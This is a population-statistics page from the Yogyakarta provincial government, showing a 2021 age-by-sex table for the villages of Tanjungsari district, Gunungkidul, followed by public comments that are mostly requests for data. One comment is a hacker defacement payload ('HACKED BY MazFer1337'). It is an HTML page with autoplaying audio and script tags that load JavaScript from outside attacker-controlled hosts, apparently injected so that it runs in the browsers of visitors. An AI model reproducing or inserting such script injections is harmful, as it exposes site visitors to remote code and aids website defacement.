Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN TANJUNGSARI, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaHARGOSARIKEMIRIKEMADANGBANJAREJONGESTIREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5656 1125241 936678 1444338 813345 78250 258 508
2 tahun2626 522124 453929 683920 592332 55148 131 279
3 tahun3526 613115 463649 852534 593325 58160 149 309
4 tahun3129 602613 394439 833727 643031 61168 139 307
5 tahun4247 892819 474249 914231 732935 64183 181 364
6 tahun2834 624030 705544 993725 622623 49186 156 342
7 tahun3735 722122 433828 663331 642822 50157 138 295
8 tahun2940 693224 564936 853131 624129 70182 160 342
9 tahun4144 852024 445049 994541 862940 69185 198 383
10 tahun3830 682628 543947 864740 871640 56166 185 351
11 tahun3531 664229 714967 1164534 793725 62208 186 394
12 tahun3034 643339 724753 1003725 623739 76184 190 374
13 tahun3418 523024 545643 993433 674937 86203 155 358
14 tahun3335 682223 454635 813332 653630 66170 155 325
15 tahun2931 603419 534938 873025 553736 73179 149 328
16 tahun3235 673323 565142 933130 612630 56173 160 333
17 tahun3122 533625 614639 852732 594232 74182 150 332
18 tahun3325 582427 513836 743834 723732 69170 154 324
19 tahun3024 542727 543949 882833 613545 80159 178 337
20 tahun3521 563327 604446 904636 824840 88206 170 376
21 tahun3539 743422 566546 1112833 613827 65200 167 367
22 tahun3623 592234 563949 884744 912637 63170 187 357
23 tahun3242 742633 595334 873327 604532 77189 168 357
24 tahun3233 653726 635747 1044336 794141 82210 183 393
25 tahun4240 822624 505353 1063039 695734 91208 190 398
26 tahun4039 792323 466259 1213539 743343 76193 203 396
27 tahun3747 843233 655156 1073629 653230 62188 195 383
28 tahun5036 862635 614951 1003542 773832 70198 196 394
29 tahun4540 853331 645460 1143740 772736 63196 207 403
30 tahun3447 813635 714950 994641 873832 70203 205 408
31 tahun3843 812626 525243 952535 602329 52164 176 340
32 tahun3427 611827 455157 1083346 792627 53162 184 346
33 tahun2939 682334 574733 802628 542532 57150 166 316
34 tahun3735 722622 483345 783931 702633 59161 166 327
35 tahun3234 663726 635545 1004023 633032 62194 160 354
36 tahun4541 863432 664741 884940 895048 98225 202 427
37 tahun4651 974129 705756 1133836 744547 92227 219 446
38 tahun5348 1014038 785554 1094146 874540 85234 226 460
39 tahun4849 974133 746550 1155644 1005560 115265 236 501
40 tahun4030 703422 564350 934838 864650 96211 190 401
41 tahun5838 964040 806549 1146440 1045044 94277 211 488
42 tahun4940 892930 594654 1004047 875143 94215 214 429
43 tahun3939 783334 673954 933741 784751 98195 219 414
44 tahun4641 872832 604848 964349 925243 95217 213 430
45 tahun5247 992930 595256 1083257 895760 117222 250 472
46 tahun5340 932245 673649 852752 794343 86181 229 410
47 tahun5342 952933 626343 1065355 1084053 93238 226 464
48 tahun3442 764736 835573 1285867 1255846 104252 264 516
49 tahun2936 654336 796172 1335143 945050 100234 237 471
50 tahun3345 784444 885871 1295443 975945 104248 248 496
51 tahun3436 704037 776559 1246260 1226544 109266 236 502
52 tahun4557 1024144 858569 1545746 1035652 108284 268 552
53 tahun5043 932642 686148 1094044 843739 76214 216 430
54 tahun3837 752924 533843 813640 764039 79181 183 364
55 tahun3940 792836 644562 1074354 972358 81178 250 428
56 tahun2030 502730 573439 733738 753030 60148 167 315
57 tahun3350 833735 725047 974953 1023538 73204 223 427
58 tahun3530 652734 615055 1053745 824541 86194 205 399
59 tahun3131 621824 423945 843739 763333 66158 172 330
60 tahun3749 862437 614657 1033942 814948 97195 233 428
61 tahun2244 663049 794450 942739 662739 66150 221 371
62 tahun3328 612938 673555 903049 793540 75162 210 372
63 tahun3230 622027 472739 663737 743031 61146 164 310
64 tahun2339 622524 494241 832949 783940 79158 193 351
65 tahun2936 652332 553637 734838 864329 72179 172 351
66 tahun3240 722122 432932 612933 623132 63142 159 301
67 tahun1929 482128 493229 612042 623234 66124 162 286
68 tahun3015 451821 393435 693328 612120 41136 119 255
69 tahun3234 662233 553622 582832 603221 53150 142 292
70 tahun3330 633324 573933 724445 893047 77179 179 358
71 tahun1923 422324 472030 503129 602526 51118 132 250
72 tahun2121 422423 472829 572113 342335 58117 121 238
73 tahun1228 401120 312923 522729 561323 3692 123 215
74 tahun1515 301335 481014 242223 452011 3180 98 178
75 tahun1617 331527 421927 461939 582432 5693 142 235
76 tahun916 251317 30914 231117 281323 3655 87 142
77 tahun1318 311222 341121 321024 341720 3763 105 168
78 tahun1919 38910 192322 451721 381715 3285 87 172
79 tahun148 22825 331522 371019 291216 2859 90 149
80 ke atas68144 21257124 18190137 22778152 23078150 228371 707 1.078
Jumlah2.7692.8735.6422.2942.4164.7103.6043.6807.2842.9603.0826.0422.9002.9945.894 14.527 15.045 29.572
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih